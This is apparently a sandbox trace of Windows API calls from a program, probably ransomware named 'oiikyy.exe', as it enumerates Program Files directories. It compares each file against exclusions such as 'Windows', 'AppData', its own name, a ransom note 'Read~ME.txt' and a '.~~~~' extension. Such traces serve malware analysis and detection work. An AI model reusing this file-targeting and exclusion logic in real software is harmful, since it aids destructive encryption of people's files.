	[0079.473] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.473] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.473] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.473] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.473] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.473] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.473] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.473] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1
	[0079.473] lstrcmpiW (lpString1="FM20.CHM", lpString2="Windows") returned -1
	[0079.473] lstrcmpW (lpString1="FM20.CHM", lpString2="oiikyy.exe") returned -1
	[0079.473] StrStrW (lpFirst="FM20.CHM", lpSrch=".~~~~") returned 0x0
	[0079.474] lstrcmpW (lpString1="FM20.CHM", lpString2="Read~ME.txt") returned -1
	[0079.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.474] GetCurrentThreadId () returned 0x618
	[0079.474] RtlWakeConditionVariable () returned 0x365f48
	[0079.474] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1
	[0079.474] lstrcmpiW (lpString1="VBCN6.CHM", lpString2="Windows") returned -1
	[0079.474] lstrcmpW (lpString1="VBCN6.CHM", lpString2="oiikyy.exe") returned 1
	[0079.474] StrStrW (lpFirst="VBCN6.CHM", lpSrch=".~~~~") returned 0x0
	[0079.474] lstrcmpW (lpString1="VBCN6.CHM", lpString2="Read~ME.txt") returned 1
	[0079.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.474] GetCurrentThreadId () returned 0x618
	[0079.474] RtlWakeConditionVariable () returned 0x365f48
	[0079.474] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1
	[0079.474] lstrcmpiW (lpString1="VBE7INTL.DLL", lpString2="Windows") returned -1
	[0079.474] lstrcmpW (lpString1="VBE7INTL.DLL", lpString2="oiikyy.exe") returned 1
	[0079.474] StrStrW (lpFirst="VBE7INTL.DLL", lpSrch=".~~~~") returned 0x0
	[0079.474] lstrcmpW (lpString1="VBE7INTL.DLL", lpString2="Read~ME.txt") returned 1
	[0079.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.474] GetCurrentThreadId () returned 0x618
	[0079.474] RtlWakeConditionVariable () returned 0x365f48
	[0079.474] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1
	[0079.474] lstrcmpiW (lpString1="VBENDF98.CHM", lpString2="Windows") returned -1
	[0079.474] lstrcmpW (lpString1="VBENDF98.CHM", lpString2="oiikyy.exe") returned 1
	[0079.475] StrStrW (lpFirst="VBENDF98.CHM", lpSrch=".~~~~") returned 0x0
	[0079.475] lstrcmpW (lpString1="VBENDF98.CHM", lpString2="Read~ME.txt") returned 1
	[0079.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.475] GetCurrentThreadId () returned 0x618
	[0079.475] RtlWakeConditionVariable () returned 0x365f48
	[0079.475] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1
	[0079.475] lstrcmpiW (lpString1="VBHW6.CHM", lpString2="Windows") returned -1
	[0079.475] lstrcmpW (lpString1="VBHW6.CHM", lpString2="oiikyy.exe") returned 1
	[0079.475] StrStrW (lpFirst="VBHW6.CHM", lpSrch=".~~~~") returned 0x0
	[0079.475] lstrcmpW (lpString1="VBHW6.CHM", lpString2="Read~ME.txt") returned 1
	[0079.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.475] GetCurrentThreadId () returned 0x618
	[0079.475] RtlWakeConditionVariable () returned 0x365f48
	[0079.475] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1
	[0079.475] lstrcmpiW (lpString1="VBLR6.CHM", lpString2="Windows") returned -1
	[0079.475] lstrcmpW (lpString1="VBLR6.CHM", lpString2="oiikyy.exe") returned 1
	[0079.476] StrStrW (lpFirst="VBLR6.CHM", lpSrch=".~~~~") returned 0x0
	[0079.476] lstrcmpW (lpString1="VBLR6.CHM", lpString2="Read~ME.txt") returned 1
	[0079.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.476] GetCurrentThreadId () returned 0x618
	[0079.476] RtlWakeConditionVariable () returned 0x365f48
	[0079.476] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9896ac00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9896ac00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1
	[0079.476] lstrcmpiW (lpString1="VBOB6.CHM", lpString2="Windows") returned -1
	[0079.476] lstrcmpW (lpString1="VBOB6.CHM", lpString2="oiikyy.exe") returned 1
	[0079.476] StrStrW (lpFirst="VBOB6.CHM", lpSrch=".~~~~") returned 0x0
	[0079.476] lstrcmpW (lpString1="VBOB6.CHM", lpString2="Read~ME.txt") returned 1
	[0079.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.476] GetCurrentThreadId () returned 0x618
	[0079.476] RtlWakeConditionVariable () returned 0x365f48
	[0079.476] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1
	[0079.476] lstrcmpiW (lpString1="VBUI6.CHM", lpString2="Windows") returned -1
	[0079.476] lstrcmpW (lpString1="VBUI6.CHM", lpString2="oiikyy.exe") returned 1
	[0079.476] StrStrW (lpFirst="VBUI6.CHM", lpSrch=".~~~~") returned 0x0
	[0079.476] lstrcmpW (lpString1="VBUI6.CHM", lpString2="Read~ME.txt") returned 1
	[0079.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.476] GetCurrentThreadId () returned 0x618
	[0079.476] RtlWakeConditionVariable () returned 0x365f48
	[0079.476] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0
	[0079.476] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0079.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.478] GetCurrentThreadId () returned 0x618
	[0079.478] RtlWakeConditionVariable () returned 0x365f48
	[0079.504] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1
	[0079.504] lstrcmpiW (lpString1="VBE7.DLL", lpString2="Windows") returned -1
	[0079.505] lstrcmpW (lpString1="VBE7.DLL", lpString2="oiikyy.exe") returned 1
	[0079.505] StrStrW (lpFirst="VBE7.DLL", lpSrch=".~~~~") returned 0x0
	[0079.505] lstrcmpW (lpString1="VBE7.DLL", lpString2="Read~ME.txt") returned 1
	[0079.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb2d8
	[0079.505] GetCurrentThreadId () returned 0x618
	[0079.505] RtlWakeConditionVariable () returned 0x365f48
	[0079.505] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 0
	[0079.505] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0079.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb2d8
	[0079.505] GetCurrentThreadId () returned 0x618
	[0079.505] RtlWakeConditionVariable () returned 0x365f48
	[0079.505] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 0
	[0079.505] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0079.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb2d8
	[0079.505] GetCurrentThreadId () returned 0x618
	[0079.505] RtlWakeConditionVariable () returned 0x365f48
	[0079.505] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1
	[0079.506] lstrcmpiW (lpString1="VC", lpString2="Windows") returned -1
	[0079.506] lstrcmpW (lpString1="VC", lpString2=".") returned 1
	[0079.506] lstrcmpW (lpString1="VC", lpString2="..") returned 1
	[0079.506] lstrcmpW (lpString1="VC", lpString2="AppData") returned 1
	[0079.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC", lpSrch="AppData") returned 0x0
	[0079.506] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.506] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VC", lpString2="C:\\Windows") returned -1
	[0079.506] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.506] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VC", lpString2="C:\\System Volume Information") returned -1
	[0079.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0079.506] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0079.507] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.507] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.507] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.507] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.507] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.508] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.508] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.508] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.508] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.508] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.508] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.508] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.508] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1
	[0079.508] lstrcmpiW (lpString1="msdia100.dll", lpString2="Windows") returned -1
	[0079.508] lstrcmpW (lpString1="msdia100.dll", lpString2="oiikyy.exe") returned -1
	[0079.508] StrStrW (lpFirst="msdia100.dll", lpSrch=".~~~~") returned 0x0
	[0079.508] lstrcmpW (lpString1="msdia100.dll", lpString2="Read~ME.txt") returned -1
	[0079.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb2d8
	[0079.508] GetCurrentThreadId () returned 0x618
	[0079.508] RtlWakeConditionVariable () returned 0x365f48
	[0079.508] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1
	[0079.508] lstrcmpiW (lpString1="msdia90.dll", lpString2="Windows") returned -1
	[0079.508] lstrcmpW (lpString1="msdia90.dll", lpString2="oiikyy.exe") returned -1
	[0079.508] StrStrW (lpFirst="msdia90.dll", lpSrch=".~~~~") returned 0x0
	[0079.508] lstrcmpW (lpString1="msdia90.dll", lpString2="Read~ME.txt") returned -1
	[0079.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb2d8
	[0079.508] GetCurrentThreadId () returned 0x618
	[0079.508] RtlWakeConditionVariable () returned 0x365f48
	[0079.508] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0
	[0079.508] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0079.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb2d8
	[0079.509] GetCurrentThreadId () returned 0x618
	[0079.509] RtlWakeConditionVariable () returned 0x365f48
	[0079.509] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1
	[0079.509] lstrcmpiW (lpString1="VGX", lpString2="Windows") returned -1
	[0079.509] lstrcmpW (lpString1="VGX", lpString2=".") returned 1
	[0079.509] lstrcmpW (lpString1="VGX", lpString2="..") returned 1
	[0079.509] lstrcmpW (lpString1="VGX", lpString2="AppData") returned 1
	[0079.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX", lpSrch="AppData") returned 0x0
	[0079.509] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.509] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX", lpString2="C:\\Windows") returned -1
	[0079.509] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.509] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX", lpString2="C:\\System Volume Information") returned -1
	[0079.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0079.509] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0079.509] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.509] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.509] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.509] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.509] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.510] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.510] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.510] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.510] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.510] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.510] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.510] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.510] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1
	[0079.510] lstrcmpiW (lpString1="VGX.dll", lpString2="Windows") returned -1
	[0079.510] lstrcmpW (lpString1="VGX.dll", lpString2="oiikyy.exe") returned 1
	[0079.510] StrStrW (lpFirst="VGX.dll", lpSrch=".~~~~") returned 0x0
	[0079.510] lstrcmpW (lpString1="VGX.dll", lpString2="Read~ME.txt") returned 1
	[0079.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39feb0
	[0079.510] GetCurrentThreadId () returned 0x618
	[0079.510] RtlWakeConditionVariable () returned 0x365f48
	[0079.510] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0
	[0079.510] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0079.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb2d8
	[0079.510] GetCurrentThreadId () returned 0x618
	[0079.510] RtlWakeConditionVariable () returned 0x365f48
	[0079.510] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1
	[0079.511] lstrcmpiW (lpString1="Visio Shared", lpString2="Windows") returned -1
	[0079.511] lstrcmpW (lpString1="Visio Shared", lpString2=".") returned 1
	[0079.511] lstrcmpW (lpString1="Visio Shared", lpString2="..") returned 1
	[0079.511] lstrcmpW (lpString1="Visio Shared", lpString2="AppData") returned 1
	[0079.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared", lpSrch="AppData") returned 0x0
	[0079.511] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.511] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared", lpString2="C:\\Windows") returned -1
	[0079.511] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.511] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared", lpString2="C:\\System Volume Information") returned -1
	[0079.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
